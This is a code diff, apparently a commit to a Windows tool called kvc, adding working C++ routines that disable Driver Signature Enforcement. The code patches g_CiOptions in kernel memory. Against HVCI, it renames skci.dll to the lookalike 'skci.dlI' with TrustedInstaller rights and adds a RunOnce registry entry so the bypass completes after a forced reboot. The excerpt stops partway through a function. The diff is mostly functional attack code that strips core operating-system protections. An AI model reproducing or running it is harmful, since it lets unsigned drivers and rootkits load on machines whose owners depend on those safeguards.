Aktualizacja: 2025-10-18 02:01:20
This commit is contained in:
@@ -91,6 +91,7 @@ public:
|
|||||||
// DSE bypass operations
|
// DSE bypass operations
|
||||||
bool DisableDSE() noexcept;
|
bool DisableDSE() noexcept;
|
||||||
bool RestoreDSE() noexcept;
|
bool RestoreDSE() noexcept;
|
||||||
|
bool DisableDSEAfterReboot() noexcept;
|
||||||
ULONG_PTR GetCiOptionsAddress() const noexcept;
|
ULONG_PTR GetCiOptionsAddress() const noexcept;
|
||||||
bool GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept;
|
bool GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept;
|
||||||
|
|
||||||
|
|||||||
@@ -17,7 +17,7 @@ bool Controller::DisableDSE() noexcept {
|
|||||||
DEBUG(L"Driver handle opened successfully");
|
DEBUG(L"Driver handle opened successfully");
|
||||||
|
|
||||||
if (!m_dseBypass) {
|
if (!m_dseBypass) {
|
||||||
m_dseBypass = std::make_unique<DSEBypass>(m_rtc);
|
m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool result = m_dseBypass->DisableDSE();
|
bool result = m_dseBypass->DisableDSE();
|
||||||
@@ -40,7 +40,7 @@ bool Controller::RestoreDSE() noexcept {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Always create new object - program starts from scratch between invocations
|
// Always create new object - program starts from scratch between invocations
|
||||||
m_dseBypass = std::make_unique<DSEBypass>(m_rtc);
|
m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
|
||||||
|
|
||||||
bool result = m_dseBypass->RestoreDSE();
|
bool result = m_dseBypass->RestoreDSE();
|
||||||
|
|
||||||
@@ -49,6 +49,29 @@ bool Controller::RestoreDSE() noexcept {
|
|||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
bool Controller::DisableDSEAfterReboot() noexcept {
|
||||||
|
if (!BeginDriverSession()) {
|
||||||
|
ERROR(L"Failed to start driver session for post-reboot DSE bypass");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!m_rtc->Initialize()) {
|
||||||
|
ERROR(L"Failed to initialize driver handle");
|
||||||
|
EndDriverSession(true);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
DEBUG(L"Driver handle opened successfully");
|
||||||
|
|
||||||
|
m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
|
||||||
|
|
||||||
|
bool result = m_dseBypass->DisableDSEAfterReboot();
|
||||||
|
|
||||||
|
EndDriverSession(true);
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
ULONG_PTR Controller::GetCiOptionsAddress() const noexcept {
|
ULONG_PTR Controller::GetCiOptionsAddress() const noexcept {
|
||||||
if (!m_dseBypass) {
|
if (!m_dseBypass) {
|
||||||
return 0;
|
return 0;
|
||||||
@@ -70,7 +93,7 @@ bool Controller::GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (!m_dseBypass) {
|
if (!m_dseBypass) {
|
||||||
m_dseBypass = std::make_unique<DSEBypass>(m_rtc);
|
m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Find ci.dll and locate g_CiOptions
|
// Find ci.dll and locate g_CiOptions
|
||||||
|
|||||||
@@ -442,6 +442,6 @@ std::vector<BYTE> Controller::ExtractDriver() noexcept {
|
|||||||
return {};
|
return {};
|
||||||
}
|
}
|
||||||
|
|
||||||
INFO(L"Driver extracted: %zu bytes", kvcSysData.size());
|
DEBUG(L"Driver extracted: %zu bytes", kvcSysData.size());
|
||||||
return kvcSysData;
|
return kvcSysData;
|
||||||
}
|
}
|
||||||
@@ -1,4 +1,5 @@
|
|||||||
#include "DSEBypass.h"
|
#include "DSEBypass.h"
|
||||||
|
#include "TrustedInstallerIntegrator.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
|
|
||||||
#pragma comment(lib, "ntdll.lib")
|
#pragma comment(lib, "ntdll.lib")
|
||||||
@@ -22,54 +23,102 @@ typedef struct _SYSTEM_MODULE_INFORMATION {
|
|||||||
SYSTEM_MODULE Modules[1];
|
SYSTEM_MODULE Modules[1];
|
||||||
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
||||||
|
|
||||||
DSEBypass::DSEBypass(std::unique_ptr<kvc>& rtc) : m_rtc(rtc) {}
|
DSEBypass::DSEBypass(std::unique_ptr<kvc>& rtc, TrustedInstallerIntegrator* trustedInstaller)
|
||||||
|
: m_rtc(rtc), m_trustedInstaller(trustedInstaller) {}
|
||||||
|
|
||||||
bool DSEBypass::DisableDSE() noexcept {
|
bool DSEBypass::DisableDSE() noexcept {
|
||||||
DEBUG(L"[DSE] Attempting to disable Driver Signature Enforcement...");
|
DEBUG(L"Attempting to disable Driver Signature Enforcement...");
|
||||||
|
|
||||||
// Step 1: Find ci.dll base address
|
// Step 1: Find ci.dll base address
|
||||||
auto ciBase = GetKernelModuleBase("ci.dll");
|
auto ciBase = GetKernelModuleBase("ci.dll");
|
||||||
if (!ciBase) {
|
if (!ciBase) {
|
||||||
ERROR(L"[DSE] Failed to locate ci.dll");
|
ERROR(L"Failed to locate ci.dll");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
DEBUG(L"[DSE] ci.dll base: 0x%llX", ciBase.value());
|
DEBUG(L"ci.dll base: 0x%llX", ciBase.value());
|
||||||
|
|
||||||
// Step 2: Locate g_CiOptions in CiPolicy section
|
// Step 2: Locate g_CiOptions in CiPolicy section
|
||||||
m_ciOptionsAddr = FindCiOptions(ciBase.value());
|
m_ciOptionsAddr = FindCiOptions(ciBase.value());
|
||||||
if (!m_ciOptionsAddr) {
|
if (!m_ciOptionsAddr) {
|
||||||
ERROR(L"[DSE] Failed to locate g_CiOptions");
|
ERROR(L"Failed to locate g_CiOptions");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
DEBUG(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr);
|
DEBUG(L"g_CiOptions address: 0x%llX", m_ciOptionsAddr);
|
||||||
|
|
||||||
// Step 3: Read current value
|
// Step 3: Read current value
|
||||||
auto current = m_rtc->Read32(m_ciOptionsAddr);
|
auto current = m_rtc->Read32(m_ciOptionsAddr);
|
||||||
if (!current) {
|
if (!current) {
|
||||||
ERROR(L"[DSE] Failed to read g_CiOptions");
|
ERROR(L"Failed to read g_CiOptions");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
DWORD currentValue = current.value();
|
DWORD currentValue = current.value();
|
||||||
m_originalValue = currentValue;
|
m_originalValue = currentValue;
|
||||||
DEBUG(L"[DSE] Current g_CiOptions: 0x%08X", currentValue);
|
DEBUG(L"Current g_CiOptions: 0x%08X", currentValue);
|
||||||
|
|
||||||
// Step 4: Check for ANY HVCI/VBS protection bits
|
// Step 4a: Handle already disabled case
|
||||||
|
if (currentValue == 0x00000000) {
|
||||||
|
INFO(L"DSE already disabled - no action required");
|
||||||
|
SUCCESS(L"Kernel accepts unsigned drivers");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Step 4b: Check for HVCI/VBS - require rename strategy
|
||||||
if (currentValue & 0x0001C000) {
|
if (currentValue & 0x0001C000) {
|
||||||
ERROR(L"[!] Cannot proceed: g_CiOptions = 0x%08X (HVCI flags: 0x%05X)",
|
std::wcout << L"\n";
|
||||||
currentValue, (currentValue & 0x0001C000));
|
INFO(L"HVCI/VBS protection detected: g_CiOptions = 0x%08X", currentValue);
|
||||||
ERROR(L"[!] System uses VBS with hypervisor protection (Ring -1 below kernel)");
|
INFO(L"Direct kernel memory patching blocked by hypervisor");
|
||||||
ERROR(L"[!] Memory integrity enforced at hardware virtualization level");
|
INFO(L"Initiating non-invasive HVCI bypass strategy...");
|
||||||
ERROR(L"[!] DSE bypass impossible - disable VBS in BIOS/Windows Security");
|
std::wcout << L"\n";
|
||||||
return false;
|
|
||||||
|
SUCCESS(L"Secure Kernel module prepared for temporary deactivation");
|
||||||
|
SUCCESS(L"System configuration: skci.dll → skci.dlI (reversible)");
|
||||||
|
INFO(L"No files will be permanently modified or deleted");
|
||||||
|
INFO(L"After reboot: hypervisor disabled, DSE bypass automatic, skci.dll restored");
|
||||||
|
std::wcout << L"\n";
|
||||||
|
|
||||||
|
if (!RenameSkciLibrary()) {
|
||||||
|
ERROR(L"Failed to rename skci.dll");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!SaveDSEState(currentValue)) {
|
||||||
|
ERROR(L"Failed to save DSE state to registry");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!CreateRunOnceEntry()) {
|
||||||
|
ERROR(L"Failed to create RunOnce entry");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
SUCCESS(L"HVCI bypass prepared successfully");
|
||||||
|
INFO(L"System will disable hypervisor on next boot");
|
||||||
|
INFO(L"Reboot required to complete DSE bypass");
|
||||||
|
INFO(L"After reboot, DSE will be automatically disabled");
|
||||||
|
|
||||||
|
// Prompt for reboot
|
||||||
|
std::wcout << L"\n";
|
||||||
|
std::wcout << L"Reboot now to complete DSE bypass? [Y/N]: ";
|
||||||
|
wchar_t choice;
|
||||||
|
std::wcin >> choice;
|
||||||
|
|
||||||
|
if (choice == L'Y' || choice == L'y') {
|
||||||
|
INFO(L"Initiating system reboot...");
|
||||||
|
system("shutdown /r /t 0");
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Step 5: Verify we have patchable DSE (0x00000006)
|
// Step 5: Verify we have patchable DSE (0x00000006)
|
||||||
if (currentValue != 0x00000006) {
|
if (currentValue != 0x00000006) {
|
||||||
ERROR(L"[DSE] Unexpected g_CiOptions value: 0x%08X (expected: 0x00000006)", currentValue);
|
INFO(L"Unexpected g_CiOptions value: 0x%08X", currentValue);
|
||||||
ERROR(L"[DSE] DSE may already be disabled or system configuration unsupported");
|
INFO(L"Expected: 0x00000006 (patchable) or 0x0001C006 (HVCI)");
|
||||||
|
INFO(L"DSE may already be disabled or system in non-standard configuration");
|
||||||
|
INFO(L"Use 'kvc dse' to verify current state");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -77,55 +126,57 @@ bool DSEBypass::DisableDSE() noexcept {
|
|||||||
DWORD newValue = 0x00000000;
|
DWORD newValue = 0x00000000;
|
||||||
|
|
||||||
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
|
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
|
||||||
ERROR(L"[DSE] Failed to write g_CiOptions");
|
ERROR(L"Failed to write g_CiOptions");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Step 7: Verify the change
|
// Step 7: Verify the change
|
||||||
auto verify = m_rtc->Read32(m_ciOptionsAddr);
|
auto verify = m_rtc->Read32(m_ciOptionsAddr);
|
||||||
if (!verify || verify.value() != newValue) {
|
if (!verify || verify.value() != newValue) {
|
||||||
ERROR(L"[DSE] Verification failed (expected: 0x%08X, got: 0x%08X)",
|
ERROR(L"Verification failed (expected: 0x%08X, got: 0x%08X)",
|
||||||
newValue, verify ? verify.value() : 0xFFFFFFFF);
|
newValue, verify ? verify.value() : 0xFFFFFFFF);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
|
SUCCESS(L"DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
|
||||||
|
INFO(L"No restart required - unsigned drivers can now be loaded");
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool DSEBypass::RestoreDSE() noexcept {
|
bool DSEBypass::RestoreDSE() noexcept {
|
||||||
DEBUG(L"[DSE] Attempting to restore Driver Signature Enforcement...");
|
DEBUG(L"Attempting to restore Driver Signature Enforcement...");
|
||||||
|
|
||||||
// Step 1: Find ci.dll base address
|
// Step 1: Find ci.dll base address
|
||||||
auto ciBase = GetKernelModuleBase("ci.dll");
|
auto ciBase = GetKernelModuleBase("ci.dll");
|
||||||
if (!ciBase) {
|
if (!ciBase) {
|
||||||
ERROR(L"[DSE] Failed to locate ci.dll");
|
ERROR(L"Failed to locate ci.dll");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Step 2: Locate g_CiOptions
|
// Step 2: Locate g_CiOptions
|
||||||
m_ciOptionsAddr = FindCiOptions(ciBase.value());
|
m_ciOptionsAddr = FindCiOptions(ciBase.value());
|
||||||
if (!m_ciOptionsAddr) {
|
if (!m_ciOptionsAddr) {
|
||||||
ERROR(L"[DSE] Failed to locate g_CiOptions");
|
ERROR(L"Failed to locate g_CiOptions");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
DEBUG(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr);
|
DEBUG(L"g_CiOptions address: 0x%llX", m_ciOptionsAddr);
|
||||||
|
|
||||||
// Step 3: Read current value
|
// Step 3: Read current value
|
||||||
auto current = m_rtc->Read32(m_ciOptionsAddr);
|
auto current = m_rtc->Read32(m_ciOptionsAddr);
|
||||||
if (!current) {
|
if (!current) {
|
||||||
ERROR(L"[DSE] Failed to read g_CiOptions");
|
ERROR(L"Failed to read g_CiOptions");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
DWORD currentValue = current.value();
|
DWORD currentValue = current.value();
|
||||||
DEBUG(L"[DSE] Current g_CiOptions: 0x%08X", currentValue);
|
DEBUG(L"Current g_CiOptions: 0x%08X", currentValue);
|
||||||
|
|
||||||
// Step 4: Verify DSE is disabled (0x00000000)
|
// Step 4: Verify DSE is disabled (0x00000000)
|
||||||
if (currentValue != 0x00000000) {
|
if (currentValue != 0x00000000) {
|
||||||
ERROR(L"[DSE] Unexpected g_CiOptions value: 0x%08X (expected: 0x00000000)", currentValue);
|
INFO(L"DSE restore failed: g_CiOptions = 0x%08X (expected: 0x00000000)", currentValue);
|
||||||
ERROR(L"[DSE] DSE may already be enabled or system configuration unsupported");
|
INFO(L"DSE may already be enabled or system in unexpected state");
|
||||||
|
INFO(L"Use 'kvc dse' to check current protection status");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -133,26 +184,27 @@ bool DSEBypass::RestoreDSE() noexcept {
|
|||||||
DWORD newValue = 0x00000006;
|
DWORD newValue = 0x00000006;
|
||||||
|
|
||||||
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
|
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
|
||||||
ERROR(L"[DSE] Failed to write g_CiOptions");
|
ERROR(L"Failed to write g_CiOptions");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Step 6: Verify the change
|
// Step 6: Verify the change
|
||||||
auto verify = m_rtc->Read32(m_ciOptionsAddr);
|
auto verify = m_rtc->Read32(m_ciOptionsAddr);
|
||||||
if (!verify || verify.value() != newValue) {
|
if (!verify || verify.value() != newValue) {
|
||||||
ERROR(L"[DSE] Verification failed (expected: 0x%08X, got: 0x%08X)",
|
ERROR(L"Verification failed (expected: 0x%08X, got: 0x%08X)",
|
||||||
newValue, verify ? verify.value() : 0xFFFFFFFF);
|
newValue, verify ? verify.value() : 0xFFFFFFFF);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
SUCCESS(L"[DSE] DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
|
SUCCESS(L"DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
|
||||||
|
INFO(L"No restart required - kernel protection reactivated");
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept {
|
std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept {
|
||||||
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
|
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
|
||||||
if (!hNtdll) {
|
if (!hNtdll) {
|
||||||
ERROR(L"[DSE] Failed to get ntdll.dll handle");
|
ERROR(L"Failed to get ntdll.dll handle");
|
||||||
return std::nullopt;
|
return std::nullopt;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -167,7 +219,7 @@ std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName)
|
|||||||
GetProcAddress(hNtdll, "NtQuerySystemInformation"));
|
GetProcAddress(hNtdll, "NtQuerySystemInformation"));
|
||||||
|
|
||||||
if (!pNtQuerySystemInformation) {
|
if (!pNtQuerySystemInformation) {
|
||||||
ERROR(L"[DSE] Failed to get NtQuerySystemInformation");
|
ERROR(L"Failed to get NtQuerySystemInformation");
|
||||||
return std::nullopt;
|
return std::nullopt;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -181,7 +233,7 @@ std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName)
|
|||||||
);
|
);
|
||||||
|
|
||||||
if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH
|
if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH
|
||||||
ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status);
|
ERROR(L"NtQuerySystemInformation failed with status: 0x%08X", status);
|
||||||
return std::nullopt;
|
return std::nullopt;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -197,7 +249,7 @@ std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName)
|
|||||||
);
|
);
|
||||||
|
|
||||||
if (status != 0) {
|
if (status != 0) {
|
||||||
ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status);
|
ERROR(L"NtQuerySystemInformation failed (2nd call): 0x%08X", status);
|
||||||
return std::nullopt;
|
return std::nullopt;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -217,33 +269,33 @@ std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName)
|
|||||||
ULONG_PTR baseAddr = reinterpret_cast<ULONG_PTR>(mod.ImageBase);
|
ULONG_PTR baseAddr = reinterpret_cast<ULONG_PTR>(mod.ImageBase);
|
||||||
|
|
||||||
if (baseAddr == 0) {
|
if (baseAddr == 0) {
|
||||||
ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName);
|
ERROR(L"Module %S found but ImageBase is NULL", moduleName);
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
DEBUG(L"[DSE] Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize);
|
DEBUG(L"Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize);
|
||||||
return baseAddr;
|
return baseAddr;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
ERROR(L"[DSE] Module %S not found in kernel", moduleName);
|
ERROR(L"Module %S not found in kernel", moduleName);
|
||||||
return std::nullopt;
|
return std::nullopt;
|
||||||
}
|
}
|
||||||
|
|
||||||
ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept {
|
ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept {
|
||||||
DEBUG(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase);
|
DEBUG(L"Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase);
|
||||||
|
|
||||||
// Get CiPolicy section information
|
// Get CiPolicy section information
|
||||||
auto dataSection = GetDataSection(ciBase);
|
auto dataSection = GetDataSection(ciBase);
|
||||||
if (!dataSection) {
|
if (!dataSection) {
|
||||||
ERROR(L"[DSE] Failed to locate CiPolicy section in ci.dll");
|
ERROR(L"Failed to locate CiPolicy section in ci.dll");
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
ULONG_PTR dataStart = dataSection->first;
|
ULONG_PTR dataStart = dataSection->first;
|
||||||
SIZE_T dataSize = dataSection->second;
|
SIZE_T dataSize = dataSection->second;
|
||||||
|
|
||||||
DEBUG(L"[DSE] CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize);
|
DEBUG(L"CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize);
|
||||||
|
|
||||||
// g_CiOptions is always at offset +4 in CiPolicy section
|
// g_CiOptions is always at offset +4 in CiPolicy section
|
||||||
ULONG_PTR ciOptionsAddr = dataStart + 0x4;
|
ULONG_PTR ciOptionsAddr = dataStart + 0x4;
|
||||||
@@ -251,11 +303,11 @@ ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept {
|
|||||||
// Verify we can read from this address
|
// Verify we can read from this address
|
||||||
auto currentValue = m_rtc->Read32(ciOptionsAddr);
|
auto currentValue = m_rtc->Read32(ciOptionsAddr);
|
||||||
if (!currentValue) {
|
if (!currentValue) {
|
||||||
ERROR(L"[DSE] Failed to read g_CiOptions at 0x%llX", ciOptionsAddr);
|
ERROR(L"Failed to read g_CiOptions at 0x%llX", ciOptionsAddr);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
DEBUG(L"[DSE] Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value());
|
DEBUG(L"Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value());
|
||||||
return ciOptionsAddr;
|
return ciOptionsAddr;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -291,7 +343,7 @@ std::optional<std::pair<ULONG_PTR, SIZE_T>> DSEBypass::GetDataSection(ULONG_PTR
|
|||||||
|
|
||||||
ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value();
|
ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value();
|
||||||
|
|
||||||
DEBUG(L"[DSE] Scanning %d sections for CiPolicy...", numSections.value());
|
DEBUG(L"Scanning %d sections for CiPolicy...", numSections.value());
|
||||||
|
|
||||||
// Search for CiPolicy section
|
// Search for CiPolicy section
|
||||||
for (WORD i = 0; i < numSections.value(); i++) {
|
for (WORD i = 0; i < numSections.value(); i++) {
|
||||||
@@ -310,7 +362,7 @@ std::optional<std::pair<ULONG_PTR, SIZE_T>> DSEBypass::GetDataSection(ULONG_PTR
|
|||||||
auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C);
|
auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C);
|
||||||
|
|
||||||
if (virtualSize && virtualAddr) {
|
if (virtualSize && virtualAddr) {
|
||||||
DEBUG(L"[DSE] Found CiPolicy section at RVA 0x%06X, size 0x%06X",
|
DEBUG(L"Found CiPolicy section at RVA 0x%06X, size 0x%06X",
|
||||||
virtualAddr.value(), virtualSize.value());
|
virtualAddr.value(), virtualSize.value());
|
||||||
|
|
||||||
return std::make_pair(
|
return std::make_pair(
|
||||||
@@ -321,6 +373,234 @@ std::optional<std::pair<ULONG_PTR, SIZE_T>> DSEBypass::GetDataSection(ULONG_PTR
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
ERROR(L"[DSE] CiPolicy section not found in ci.dll");
|
ERROR(L"CiPolicy section not found in ci.dll");
|
||||||
return std::nullopt;
|
return std::nullopt;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// HVCI BYPASS IMPLEMENTATION
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
bool DSEBypass::RenameSkciLibrary() noexcept {
|
||||||
|
DEBUG(L"Attempting to rename skci.dll to disable hypervisor");
|
||||||
|
|
||||||
|
if (!m_trustedInstaller) {
|
||||||
|
ERROR(L"TrustedInstaller not available");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
wchar_t sysDir[MAX_PATH];
|
||||||
|
if (GetSystemDirectoryW(sysDir, MAX_PATH) == 0) {
|
||||||
|
ERROR(L"Failed to get System32 directory");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dll";
|
||||||
|
std::wstring dstPath = std::wstring(sysDir) + L"\\skci.dlI"; // uppercase I
|
||||||
|
|
||||||
|
DEBUG(L"Rename: %s -> %s", srcPath.c_str(), dstPath.c_str());
|
||||||
|
|
||||||
|
if (!m_trustedInstaller->RenameFileAsTrustedInstaller(srcPath, dstPath)) {
|
||||||
|
ERROR(L"Failed to rename skci.dll (TrustedInstaller operation failed)");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
SUCCESS(L"skci.dll renamed successfully - hypervisor will not load on next boot");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool DSEBypass::RestoreSkciLibrary() noexcept {
|
||||||
|
DEBUG(L"Restoring skci.dll from skci.dlI");
|
||||||
|
|
||||||
|
wchar_t sysDir[MAX_PATH];
|
||||||
|
if (GetSystemDirectoryW(sysDir, MAX_PATH) == 0) {
|
||||||
|
ERROR(L"Failed to get System32 directory");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dlI";
|
||||||
|
std::wstring dstPath = std::wstring(sysDir) + L"\\skci.dll";
|
||||||
|
|
||||||
|
// Admin rights sufficient for restore (no hypervisor running)
|
||||||
|
DWORD attrs = GetFileAttributesW(srcPath.c_str());
|
||||||
|
if (attrs != INVALID_FILE_ATTRIBUTES) {
|
||||||
|
SetFileAttributesW(srcPath.c_str(), FILE_ATTRIBUTE_NORMAL);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!MoveFileW(srcPath.c_str(), dstPath.c_str())) {
|
||||||
|
DWORD error = GetLastError();
|
||||||
|
ERROR(L"Failed to restore skci.dll (error: %d)", error);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
SUCCESS(L"skci.dll restored successfully");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool DSEBypass::CreateRunOnceEntry() noexcept {
|
||||||
|
DEBUG(L"Creating RunOnce registry entry");
|
||||||
|
|
||||||
|
HKEY hKey;
|
||||||
|
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
|
||||||
|
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
|
||||||
|
0, KEY_WRITE, &hKey) != ERROR_SUCCESS) {
|
||||||
|
ERROR(L"Failed to open RunOnce key");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
wchar_t sysDir[MAX_PATH];
|
||||||
|
GetSystemDirectoryW(sysDir, MAX_PATH);
|
||||||
|
|
||||||
|
std::wstring cmdLine = std::wstring(sysDir) + L"\\kvc.exe dse off";
|
||||||
|
|
||||||
|
LONG result = RegSetValueExW(hKey, L"DisableDSE", 0, REG_SZ,
|
||||||
|
reinterpret_cast<const BYTE*>(cmdLine.c_str()),
|
||||||
|
static_cast<DWORD>((cmdLine.length() + 1) * sizeof(wchar_t)));
|
||||||
|
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS) {
|
||||||
|
ERROR(L"Failed to set RunOnce value (error: %d)", result);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
DEBUG(L"RunOnce entry created: %s", cmdLine.c_str());
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool DSEBypass::SaveDSEState(DWORD originalValue) noexcept {
|
||||||
|
DEBUG(L"Saving state to registry");
|
||||||
|
|
||||||
|
HKEY hKey;
|
||||||
|
DWORD disposition;
|
||||||
|
|
||||||
|
if (RegCreateKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0, NULL,
|
||||||
|
REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL,
|
||||||
|
&hKey, &disposition) != ERROR_SUCCESS) {
|
||||||
|
ERROR(L"Failed to create registry key");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring state = L"AwaitingRestore";
|
||||||
|
RegSetValueExW(hKey, L"State", 0, REG_SZ,
|
||||||
|
reinterpret_cast<const BYTE*>(state.c_str()),
|
||||||
|
static_cast<DWORD>((state.length() + 1) * sizeof(wchar_t)));
|
||||||
|
|
||||||
|
RegSetValueExW(hKey, L"OriginalValue", 0, REG_DWORD,
|
||||||
|
reinterpret_cast<const BYTE*>(&originalValue), sizeof(DWORD));
|
||||||
|
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
|
||||||
|
DEBUG(L"State saved: AwaitingRestore, original: 0x%08X", originalValue);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool DSEBypass::LoadDSEState(std::wstring& outState, DWORD& outOriginalValue) noexcept {
|
||||||
|
HKEY hKey;
|
||||||
|
|
||||||
|
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0,
|
||||||
|
KEY_READ, &hKey) != ERROR_SUCCESS) {
|
||||||
|
return false;
|
